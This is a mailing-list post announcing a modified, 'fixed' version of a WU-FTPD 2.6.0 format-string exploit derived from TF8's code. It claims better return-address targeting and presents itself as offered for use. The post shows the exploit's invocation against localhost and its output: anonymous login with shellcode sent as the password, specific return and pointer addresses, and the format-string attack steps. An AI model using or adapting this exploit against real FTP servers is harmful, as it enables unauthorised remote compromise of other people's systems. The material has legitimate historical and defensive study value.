New Released Version of the WuFTPD Sploit

[eric.hines () NUASIS COM (Eric Hines)]

This is for the mass amounts of people out there who were not able to hit the
correct retr_addr with the previously disseminated exploits. This one nailed my
machines perfectly. The previous problems were caused by the other exploits not
specifying the correct pointer to the shell code, ultimately leaving you with a
telnet session to PORT 21 of the vulnerable machine. While working with some
people over at MIT, we discovered that some machines were hit, while others
with the same configuration weren't. This is yet to be understood. Anyway, I've
attached it herein. This as you will notice is TF8's original distribution,
slightly modified. Notice the new AddrRetAddr field. If s0 doesn't work, I
would reccomend trying the other OS distributions in the list.

My command string was:
[root@soc1 source]# ./wuftpd-god -s0 -t localhost
Target: localhost (ftp/<shellcode>): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152

loggin into system..
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS <shellcode>
230-Next time please use your e-mail address as your password
230-        for example: joe@localhost.localdomain
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028 ^C me now)
STEP 5 : Sending code.. this will take about 10 seconds.
